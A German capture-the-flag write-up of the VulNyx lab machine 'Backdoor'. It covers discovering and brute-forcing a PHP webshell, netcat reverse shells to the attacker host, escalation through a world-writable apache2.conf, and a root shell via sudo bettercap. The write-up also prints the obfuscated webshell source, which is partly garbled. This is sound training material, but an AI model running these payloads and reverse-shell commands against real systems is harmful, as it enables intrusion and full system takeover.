Backdoor - VulNyx - Level: Hard - Bericht

Hard

Verwendete Tools

./recon_script.sh
arp-scan
vi
ip
grep
awk
sort
nmap
nikto
gobuster
wfuzz
curl
nc
stty
id
find
sudo
ls
cat
Crackstation (Website)
nano
bettercap
passwd
echo
bash

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.106	08:00:27:0c:28:22	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.521 seconds (168.31 hosts/sec). 1 responded

Analyse: Der ARP-Scan identifiziert die Ziel-IP `192.168.2.106` und die MAC-Adresse `08:00:27:0c:28:22` (VirtualBox).

Bewertung: Standard-Identifizierung im lokalen Netz.

Empfehlung (Pentester): IP notieren, `/etc/hosts` anpassen.
Empfehlung (Admin): Netzwerküberwachung.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
192.168.2.106   backdoor.nyx

Analyse: Zuordnung des Hostnamens `backdoor.nyx` zur IP `192.168.2.106` in der lokalen `/etc/hosts`-Datei.

Bewertung: Ermöglicht die Nutzung des Hostnamens.

┌──(root㉿CCat)-[~] └─# nmap fe80::a00:27ff:fe0c:2822%eth0 -6
<-- Korrigierte IPv6 Addr
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 15:14 CEST
Nmap scan report for backdoor (fe80::a00:27ff:fe0c:2822)
Host is up (0.00011s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:0C:28:22 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds

Analyse: Ein Nmap IPv6-Scan findet Port 22 (SSH) und 80 (HTTP) offen.

Bewertung: Zeigt die über IPv6 erreichbaren Dienste.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.106 -Pn --min-rate 5000 | grep open
22/tcp open  ssh     OPENSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))

Analyse: Ein gefilterter Nmap TCP-Scan gegen IPv4 findet ebenfalls nur Port 22 (SSH, OpenSSH 8.4p1 Debian) und 80 (HTTP, Apache 2.4.56 Debian).

Bewertung: Die Port-Landschaft scheint auf den ersten Blick sehr begrenzt zu sein. Die Software-Versionen sind relativ aktuell.

Empfehlung (Pentester): Führen Sie den vollständigen Scan durch, um Details zu erhalten. Untersuchen Sie den Webserver auf Port 80 gründlich, da dies der Hauptangriffsvektor zu sein scheint.
Empfehlung (Admin): Halten Sie Systeme und Dienste aktuell. Beschränken Sie den SSH-Zugriff.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.106 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 15:12 CEST
Nmap scan report for backdoor.nyx (192.168.2.106)
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OPENSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:0C:28:22 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.16 ms backdoor.nyx (192.168.2.106)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.54 seconds

Analyse: Die vollständige Nmap-Ausgabe bestätigt die Details für SSH (Port 22) und HTTP (Port 80, Apache 2.4.56 auf Debian mit Standardseite).

Bewertung: Keine zusätzlichen Ports oder kritischen Versionsinformationen. Der Fokus bleibt auf Port 80.

Web Enumeration & Backdoor Discovery

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.106
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.106
+ Target Hostname:    192.168.2.106
+ Target Port:        80
+ Start Time:         2024-08-30 15:44:25 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5fa2ed557e1ac, mtime: gzip. [...]
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . <-- Korrigierte Reihenfolge
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-08-30 15:44:58 (GMT2) (33 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Nikto-Scan gegen Port 80 findet keine signifikanten Schwachstellen, nur die üblichen fehlenden Header und das ETag-Leak.

Bewertung: Bestätigt, dass die Standardkonfiguration von Apache relativ sicher ist.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://backdoor.nyx" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://backdoor.nyx
[...]
===============================================================
2024/08/30 15:45:10 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10701]
===============================================================
2024/08/30 16:05:20 Finished
===============================================================

Analyse: Gobuster findet ebenfalls nur die Standarddatei `index.html` auf Port 80.

Bewertung: Der normale Webserver scheint keine versteckten Inhalte zu haben.

Empfehlung (Pentester): Versuchen Sie, nach ungewöhnlichen Verzeichnissen oder Dateien zu fuzzeln, die nicht in Standardlisten enthalten sind, oder nach virtuellen Hosts.
Empfehlung (Admin): -

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://backdoor.nyx/FUZZ" --hc 404 --hh 15670
<-- Filtert Standardseiten
 Fuzzing nach Backdoor

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://backdoor.nyx/FUZZ
Total requests: 197367

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000045287:   200        368 L    933 W      10701 Ch    "http://backdoor.nyx/"
000095571:   403        9 L      28 W       277 Ch      "server-status"
000181708:   301        9 L      28 W       315 Ch      "Backdoor" <-- Interessant!

Total time: 0
Processed Requests: 197367
Filtered Requests: 197363
Requests/sec.: 0

Analyse: Ein `wfuzz`-Scan nach Verzeichnissen findet `/server-status` (403 Forbidden) und, wichtiger, ein Verzeichnis namens `/Backdoor` (Status 301 - Redirect zu `/Backdoor/`).

Bewertung: Kritischer Fund! Der Name `/Backdoor` deutet stark auf eine absichtlich oder unabsichtlich platzierte Hintertür hin.

Empfehlung (Pentester): Untersuchen Sie das Verzeichnis `http://backdoor.nyx/Backdoor/` gründlich. Fuzzing nach Dateien (insbesondere PHP) in diesem Verzeichnis durchführen.
Empfehlung (Admin): Untersuchen und entfernen Sie sofort das `/Backdoor`-Verzeichnis und dessen Inhalt. Analysieren Sie, wie es dorthin gelangt ist.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -u "http://backdoor.nyx/Backdoor/FUZZ" --hc 404 --hh 15670
 Fuzzing nach php in Backdoor

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://backdoor.nyx/Backdoor/FUZZ
Total requests: 422

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000267:   200        4 L      5 W        34 Ch       "php-backdoor.php"

Total time: 0
Processed Requests: 422
Filtered Requests: 421
Requests/sec.: 0

Analyse: `wfuzz` wird gezielt mit einer Wortliste für bekannte PHP-Backdoors (`CommonBackdoors-PHP.fuzz.txt`) verwendet, um im `/Backdoor`-Verzeichnis zu suchen. Es findet die Datei `php-backdoor.php`.

Bewertung: Bestätigt die Existenz einer PHP-Backdoor.

Empfehlung (Pentester): Rufen Sie `http://backdoor.nyx/Backdoor/php-backdoor.php` auf und analysieren Sie die Funktionalität (wahrscheinlich eine Webshell, die Passwort und Befehl erwartet).
Empfehlung (Admin): Entfernen Sie die Backdoor.

Credential Discovery (Backdoor)

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/wordlists/rockyou.txt -u "http://backdoor.nyx/Backdoor/php-backdoor.php" -d 'password=FUZZ&cmd=id' --hc 404 --hh 34
 Fuzzing nach versteckte Passwort HTML-Formular Felder

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://backdoor.nyx/Backdoor/php-backdoor.php
Total requests: 34093

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000004889:   200        5 L      8 W        88 Ch       "newpassword"

Total time: 0
Processed Requests: 34093
Filtered Requests: 34092
Requests/sec.: 0

Analyse: `wfuzz` wird verwendet, um das Passwort für die Backdoor (`php-backdoor.php`) zu bruteforcen. Es sendet POST-Anfragen (`-d 'password=FUZZ&cmd=id'`) und testet Passwörter aus `rockyou.txt` für den `password`-Parameter. `--hh 34` filtert die Standard-Antwort (wahrscheinlich eine Fehlermeldung oder die "SECURE WEBSHELL"-Überschrift mit Größe 34).

Bewertung: Erfolg! Der Brute-Force-Angriff findet das korrekte Passwort `newpassword`, das eine andere Antwort (Größe 88) liefert.

Empfehlung (Pentester): Verwenden Sie das Passwort `newpassword` zusammen mit dem `cmd`-Parameter, um Befehle über die Webshell auszuführen.
Empfehlung (Admin): Entfernen Sie die Backdoor. Verwenden Sie niemals leicht zu erratende Passwörter.

Initial Access (Webshell)

http://backdoor.nyx/Backdoor/php-backdoor.php

[+] SECURE WEBSHELL <-- Ausgabe ohne korrekte Parameter
┌──(root㉿CCat)-[~] └─# curl -X POST "http://backdoor.nyx/Backdoor/php-backdoor.php" -d 'password=newpassword&cmd=id'
[+] SECURE WEBSHELL
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Eine POST-Anfrage wird mit `curl` an die Backdoor gesendet, mit dem gefundenen Passwort `newpassword` und dem Befehl `cmd=id`. Die Antwort enthält die Ausgabe des `id`-Befehls, ausgeführt als Benutzer `www-data`.

Bewertung: Remote Code Execution (RCE) als `www-data` erfolgreich bestätigt.

Empfehlung (Pentester): Nutzen Sie die RCE, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Entfernen Sie die Backdoor.

┌──(root㉿CCat)-[~] └─# curl -X POST "http://backdoor.nyx/Backdoor/php-backdoor.php" -d 'password=newpassword&cmd=ls /home'
[+] SECURE WEBSHELL

rootkit
┌──(root㉿CCat)-[~] └─# curl -X POST "http://backdoor.nyx/Backdoor/php-backdoor.php" -d 'password=newpassword&cmd=ls /home/rootkit'
[+] SECURE WEBSHELL

<-- Leere Ausgabe, Verzeichnis existiert aber?
┌──(root㉿CCat)-[~] └─# curl -X POST "http://backdoor.nyx/Backdoor/php-backdoor.php" -d 'password=newpassword&cmd=grep bash /etc/passwd'
[+] SECURE WEBSHELL

root:x:0:0:root:/root:/bin/bash
rootkit:x:1000:1000:rootkit,,,:/home/rootkit:/bin/bash

Analyse: Weitere Befehle werden über die Webshell ausgeführt: `ls /home` zeigt das Benutzerverzeichnis `rootkit`. `ls /home/rootkit` liefert keine Ausgabe (eventuell leer oder Berechtigungsproblem?). `grep bash /etc/passwd` bestätigt die Existenz des Benutzers `rootkit` mit einer Bash-Shell.

Bewertung: Identifiziert `rootkit` als potenzielles Ziel für spätere Eskalation.

┌──(root㉿CCat)-[~] └─# curl -X POST "http://backdoor.nyx/Backdoor/php-backdoor.php" -d 'password=newpassword&cmd=nc -e /bin/bash 192.168.2.199 4466'
┌──(root㉿CCat)-[~] └─# nc -lvnp 4466
listening on [any] 4466 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 55766
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Eine Netcat Reverse Shell Payload wird über die Webshell ausgeführt (`cmd=nc -e /bin/bash ...`). Ein Listener auf dem Angreifer-System (`nc -lvnp 4466`) fängt die Verbindung ab. Eine Shell als `www-data` wird erhalten.

Bewertung: Initial Access erfolgreich abgeschlossen.

Empfehlung (Pentester): Stabilisieren Sie die Shell, starten Sie die Enumeration als `www-data`.
Empfehlung (Admin): Backdoor entfernen.

www-data@backdoor:/var/www/html/Backdoor$ stty rows 48 columns 94

Analyse: `stty` wird verwendet, um die Größe der Pseudo-Terminal-Shell anzupassen, was die Benutzerfreundlichkeit verbessert.

Bewertung: Guter Schritt zur Stabilisierung der Shell.

Privilege Escalation (www-data -> rootkit)

www-data@backdoor:/var/www/html/Backdoor$ find / -type f -perm -4000 -ls 2>/dev/null
   263828     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /usr/bin/mount
   263458     72 -rwsr-xr-x   1 root     root        71912 Jan 20  2022 /usr/bin/su
   259697     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
   259700     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
   259698     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
   263830     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /usr/bin/umount
   298586    180 -rwsr-xr-x   1 root     root       182600 Jan 14  2023 /usr/bin/sudo
   259701     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
   263292     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
   273849    472 -rwsr-xr-x   1 root     root       481608 Jul  2  2022 /usr/lib/openssh/ssh-keysign
   264755     52 -rwsr-xr--   1 root     messagebus    51336 Oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Analyse: Suche nach SUID-Dateien.

Bewertung: Findet nur Standard-SUID-Binaries. Kein direkter Eskalationspfad hier.

www-data@backdoor:/var/www/html/Backdoor$ sudo -l
Matching Defaults entries for www-data on backdoor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on backdoor:
    (root) NOPASSWD: /usr/sbin/reboot

Analyse: `sudo -l` für `www-data` zeigt, dass dieser Benutzer `/usr/sbin/reboot` als `root` ohne Passwort ausführen darf.

Bewertung: Ungewöhnliche Berechtigung. Ein Reboot ist normalerweise destruktiv und nicht direkt für Privilege Escalation nützlich, es sei denn, es gibt einen Mechanismus (z.B. Boot-Skript, Konfigurationsänderung), der durch den Reboot aktiviert wird und höhere Rechte gewährt.

Empfehlung (Pentester): Behalten Sie diese Option im Hinterkopf, aber suchen Sie zuerst nach anderen Wegen. Könnte in Kombination mit einer schreibbaren Konfigurationsdatei nützlich sein, deren Änderung erst nach einem Reboot wirksam wird.
Empfehlung (Admin): Entfernen Sie diese unnötige und potenziell gefährliche `sudo`-Regel.

www-data@backdoor:/var/www/html/Backdoor$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Apr 26  2023 .
drwxr-xr-x 3 www-data www-data 4096 Apr 26  2023 ..
-rw-r--r-- 1 www-data www-data  282 Apr 25  2023 php-backdoor.php
www-data@backdoor:/var/www/html/Backdoor$ cat php-backdoor.php
[+] SECURE WEBSHELL
<-- MD5 Hash $A = chr(0x73); $B = chr(0x79); $X = chr(0x74); $D = chr(0x65); $E = chr(0x6d); $hook = $A.$B.$A.$X.$D.$E; <-- Baut "system" zusammen if($pass == md5($POST['password'])) <-- Prüft MD5 des Passworts { $hook($POST['cmd']); <-- Führt $hook($POST['cmd']) aus, also system(...) } else { die(); } ?>

Analyse: Der Quellcode der Backdoor (`php-backdoor.php`) wird angezeigt. Er speichert einen MD5-Hash (`5e9d...`) in `$pass`. Er baut die Zeichenkette "system" aus `chr()`-Funktionen zusammen und speichert sie in `$hook`. Er prüft, ob der MD5-Hash des übergebenen POST-Parameters `password` mit dem gespeicherten Hash übereinstimmt. Wenn ja, führt er die Funktion aus, deren Name in `$hook` steht (also `system()`) mit dem POST-Parameter `cmd` als Argument.

Bewertung: Enthüllt den MD5-Hash des Backdoor-Passworts und bestätigt die RCE-Funktionalität über die `system()`-Funktion.

Empfehlung (Pentester): Versuchen Sie, den MD5-Hash zu knacken (z.B. mit Online-Diensten wie Crackstation), um das Klartextpasswort zu finden (obwohl es bereits durch Brute-Force gefunden wurde).
Empfehlung (Admin): Entfernen Sie die Backdoor.

www-data@backdoor:/var/www/html/Backdoor$ su root
Password:
su: Authentication failure

Analyse: Ein Versuch, mit `su` zu root zu wechseln, scheitert.

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults
Hash                                Type  Result
5e9d11a14ad1c8dd77e98ef9b53fd1ba    md5   newpassword

Analyse: Der MD5-Hash aus der Backdoor wird auf Crackstation überprüft.

Bewertung: Crackstation findet das Klartextpasswort `newpassword`, was das Ergebnis des Hydra-Angriffs bestätigt.

www-data@backdoor:/opt$ find /etc -writable -user root 2>/dev/null
<-- Suche nach Dateien in /etc, die root gehören und für den aktuellen User (www-data) schreibbar sind
/etc/apache2/apache2.conf
www-data@backdoor:/opt$ ls -la /etc/apache2/apache2.conf
-rw-r--rw- 1 root root 7242 Apr 26  2023 /etc/apache2/apache2.conf <-- Kritisch: World-writable!

Analyse: Es wird nach Dateien im `/etc`-Verzeichnis gesucht, die `root` gehören, aber für den aktuellen Benutzer (`www-data`) schreibbar sind. Die Datei `/etc/apache2/apache2.conf` wird gefunden. Die Berechtigungen (`-rw-r--rw-`) bestätigen, dass jeder Benutzer (`world`) Schreibrechte hat.

Bewertung: Kritische Fehlkonfiguration! Jeder Benutzer auf dem System kann die Hauptkonfigurationsdatei des Apache-Webservers ändern. Dies kann zur Privilege Escalation missbraucht werden, da Apache normalerweise als `root` gestartet wird, bevor er zu einem weniger privilegierten Benutzer (`www-data`) wechselt.

Empfehlung (Pentester): Ändern Sie die `User`- und `Group`-Direktiven in `apache2.conf` von `${APACHE_RUN_USER}` (was `www-data` ist) zu einem Benutzer mit höheren Rechten, auf den Sie Zugriff erhalten möchten (z.B. `rootkit`). Verwenden Sie dann die `sudo reboot`-Berechtigung, um den Server neu zu starten. Nach dem Reboot wird Apache als `rootkit` laufen, und die Webshell gibt eine Shell als `rootkit` zurück.
Empfehlung (Admin): Korrigieren Sie sofort die Berechtigungen für `/etc/apache2/apache2.conf` auf `-rw-r--r--` (nur für `root` schreibbar). Überprüfen Sie die Berechtigungen aller kritischen Konfigurationsdateien.

www-data@backdoor:/opt$ grep User /etc/apache2/apache2.conf -i
<-- Korrigiert von 'user'
User ${APACHE_RUN_USER}
www-data@backdoor:/opt$ nano /etc/apache2/apache2.conf
# Original:
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

# Geändert zu:
# These need to be set in /etc/apache2/envvars
User rootkit
Group rootkit
www-data@backdoor:/opt$ grep User /etc/apache2/apache2.conf -i
<-- Korrigiert von 'user'
User rootkit

Analyse: Die `User`- und `Group`-Direktiven in `apache2.conf` werden von den Standardvariablen auf `rootkit` geändert.

Bewertung: Die Apache-Konfiguration wurde erfolgreich manipuliert.

www-data@backdoor:/opt$ sudo -u root /usr/sbin/reboot

Analyse: Die `sudo`-Berechtigung wird verwendet, um das System neu zu starten (`reboot`).

Bewertung: Der Neustart ist notwendig, damit Apache die geänderte Konfiguration lädt und als Benutzer `rootkit` startet.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4466
listening on [any] 4466 ...
┌──(root㉿CCat)-[~] └─# curl -X POST "http://backdoor.nyx/Backdoor/php-backdoor.php" -d 'password=newpassword&cmd=nc -e /bin/bash 192.168.2.199 4466'
┌──(root㉿CCat)-[~] └─# nc -lvnp 4466
listening on [any] 4466 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 60932
id
uid=1000(rootkit) gid=1000(rootkit) groups=1000(rootkit)

Analyse: Nach dem Reboot wird erneut über die Webshell eine Reverse Shell gestartet. Der `id`-Befehl in der neuen Shell bestätigt, dass der Prozess (Apache/PHP) nun als Benutzer `rootkit` läuft.

Bewertung: Horizontale Eskalation von `www-data` zu `rootkit` erfolgreich abgeschlossen durch Manipulation der Apache-Konfiguration.

Empfehlung (Pentester): Führen Sie Enumeration als `rootkit` durch, insbesondere `sudo -l`.
Empfehlung (Admin): Berechtigungen für `apache2.conf` korrigieren.

Privilege Escalation (rootkit -> root)

sudo -l
Matching Defaults entries for rootkit on backdoor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rootkit may run the following commands on backdoor:
    (root) NOPASSWD: /usr/bin/bettercap

Analyse: `sudo -l` für `rootkit` zeigt, dass dieser Benutzer `/usr/bin/bettercap` als `root` ohne Passwort ausführen darf.

Bewertung: Kritischer Fund! Bettercap ist ein mächtiges Netzwerk-Sniffing und -Angriffsframework. Wenn es als `root` ausgeführt werden kann, ermöglicht es fast immer die Ausführung beliebiger Befehle als `root` über seine interaktive Shell oder Skripting-Fähigkeiten.

Empfehlung (Pentester): Starten Sie `sudo /usr/bin/bettercap`. Verwenden Sie in der Bettercap-Shell den Befehl `! ` (z.B. `!/bin/bash -p` oder `!nc -e /bin/bash `), um eine Root-Shell zu erhalten.
Empfehlung (Admin): Gewähren Sie niemals `sudo`-Rechte für Tools wie Bettercap ohne Passwort.

rootkit@backdoor:/var/www/html/Backdoor$ stty rows 48 columns 94

Analyse: Erneutes Anpassen der Shell-Größe.

Proof of Concept (Root Exploit)

Analyse: Der folgende Abschnitt demonstriert die Eskalation zu `root` über die `sudo`-Regel für `bettercap`.

Bewertung: Ausnutzung der Fehlkonfiguration zur vollständigen Systemübernahme.

rootkit@backdoor:/var/www/html/Backdoor$ sudo -u root /usr/bin/bettercap
bettercap v2.32.0 (built for linux amd64 with go1.15.15) [type 'help' for a list of commands]

192.168.2.0/24 > 192.168.2.106   <-- Bettercap Prompt
192.168.2.0/24 > 192.168.2.106 !ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Apr 26  2023 .
drwxr-xr-x 3 www-data www-data 4096 Apr 26  2023 ..
-rw-r--r-- 1 www-data www-data  282 Apr 25  2023 php-backdoor.php
192.168.2.0/24 > 192.168.2.106 !ls -la /root
total 36
drwx------  4 root root 4096 Aug 30 16:57 .
drwxr-xr-x 18 root root 4096 Apr 23  2023 ..
lrwxrwxrwx  1 root root    9 Apr 23  2023 .bash_history -> /dev/null
-rw-------  1 root root 3526 Jan 15  2023 .bashrc
drwxr-xr-x  2 root root 4096 Apr 26  2023 .cache
drwx------  3 root root 4096 Jan 15  2023 .local
-rw-------  1 root root  161 Jul  9  2019 .profile
-rw-r--r--  1 root root   66 Apr 25  2023 .selected_editor
-rw-r--r--  1 root root   49 Aug 30 16:58 bettercap.history
-r--------  1 root root   33 Apr 25  2023 root.txt

Analyse: `sudo bettercap` wird gestartet. In der interaktiven Bettercap-Shell wird die `!`-Syntax verwendet, um Shell-Befehle auszuführen (`!ls -la`, `!ls -la /root`). Da Bettercap als `root` läuft, werden diese Befehle ebenfalls als `root` ausgeführt.

Bewertung: Bestätigt die Möglichkeit der Befehlsausführung als `root`.

Empfehlung (Pentester): Führen Sie einen Befehl aus, der eine dauerhafte Root-Shell gibt, z.B. `!nc -e /bin/bash ` oder `!/bin/bash -p`.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel.

192.168.2.0/24 > 192.168.2.106 !id
uid=0(root) gid=0(root) groups=0(root)
192.168.2.0/24 > 192.168.2.106 !nc -e /bin/bash 192.168.2.199 4444

Analyse: Der Befehl `!nc -e /bin/bash 192.168.2.199 4444` wird in Bettercap ausgeführt, um eine Reverse Shell zum Angreifer auf Port 4444 zu starten.

Bewertung: Auslösen der Root-Reverse-Shell.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 56226
# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der Netcat-Listener auf Port 4444 empfängt die Verbindung. Der `id`-Befehl bestätigt Root-Rechte.

Bewertung: Privilege Escalation zu Root erfolgreich abgeschlossen.

Empfehlung (Pentester): Flags suchen.
Empfehlung (Admin): System kompromittiert.

# ls
php-backdoor.php
<-- Befehl wird im Verzeichnis /var/www/html/Backdoor ausgeführt
# cd ~
# ls
bettercap.history
root.txt
# cat root.txt
d9e69ccb84b601fd6ded0d244c6a50d6
# cd /home
# ls
rootkit
# cd rootkit
# ls
user.txt
# cat user.txt
4039028c3f5f91f8332553be6b0b4f24

Analyse: Die Root-Flag wird aus `/root/root.txt` und die User-Flag aus `/home/rootkit/user.txt` ausgelesen.

Bewertung: Beide Flags erfolgreich gefunden.

Flags

cat /home/rootkit/user.txt
4039028c3f5f91f8332553be6b0b4f24
cat /root/root.txt
d9e69ccb84b601fd6ded0d244c6a50d6